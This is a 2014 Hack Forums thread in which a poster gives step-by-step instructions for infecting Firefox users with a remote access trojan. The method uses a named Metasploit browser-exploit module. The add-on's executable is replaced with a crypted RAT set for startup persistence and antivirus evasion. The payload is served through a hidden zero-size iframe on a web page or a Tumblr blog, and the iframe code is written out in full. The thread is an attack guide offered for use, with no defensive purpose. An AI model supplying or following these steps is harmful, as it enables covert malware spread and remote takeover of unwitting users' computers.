

Forum:[Hack Forums](#)

Thread: [Awesome Hacking Method \(Firefox Drive-By Download\) | Get Tons Of Slaves!](#)

Demoralise - October 26, 2014, 3:15 am

What you need:

A RAT (I suggest Bozok free, do not use DarkComet - AV's such as Norton pick up that a file is DarkComet, DarkComet has its own definition in some AV's)

A crypter (I suggest LazerCrypter)

Firefox

Metasploit

RAT server

Tumblr blog

Steps:

1: Open metasploit

[img]http://gxf.net/images/2014/10/26/Untitled.png[/img]

2: When metasploit opens enter: use exploit/multi/browser/firefox_xpi_bootstrapped_addon

[img]http://gxf.net/images/2014/10/26/Untitled1.png[/img]

3: Find your IP via either ifconfig (in linux) or ipconfig (in Windows)

[img]http://gxf.net/images/2014/10/26/a.png[/img]

4: Enter the info shown in this picture

[img]http://gxf.net/images/2014/10/26/d.png[/img]

5: Go to the URL. Open it in Chrome. The xpi should have downloaded.

[img]http://gxf.net/images/2014/10/26/1.png[/img]

6: Go to the xpi archive

[img]http://gxf.net/images/2014/10/26/2.png[/img]

7: Open it with an archive program (right click on the file)

[img]http://gxf.net/images/2014/10/26/3.png[/img]

9: Click to rename the exe then copy the name of the exe.

[img]http://gxf.net/images/2014/10/26/4.png[/img]

10: Delete the exe (Click on it then hit delete)

11: Rename your RAT server the same name as the exe you deleted

12: Add RAT server to the archive by dragging it in. Make sure you have crypted the RAT. In

LazerCrypter I would suggest these settings:

Add to startup
Delay execution 5 seconds
Peristence
Custom Icon
Random Assembly

Done this part :)

Now all you need to do is upload the xpi to your webhost where your website is. I suggest creating an account at <http://SPAM.com> then creating a subdomain, create your main website page (index.html) by clicking new file, then inserting the coding. Make sure somewhere in your coding you have this:

```
<iframe width=0 height =0 frameborder=0 src="linktosubdomainorfulldomain.com/xpiname.xpi">
```

Make sure this is all done in the public_html folder.

And then upload the xpi into the public_html folder.

When using chrome if somebody goes to your website in Firefox a plugin install prompt will appear. If they install it, your RAT runs on their system and you've infected them.

You can also spread via Tumblr by creating a blog and inserting the iframe coding into the Tumblr blogs custom HTML. Now simply post the tumblr blog in a tumblr group and bam!

Got repfucked recently for those wondering what is with the negative rep. Check out my threads if you want to know why.

vanphi89 - October 26, 2014, 3:29 am

fix image please
look like amazing
hope it works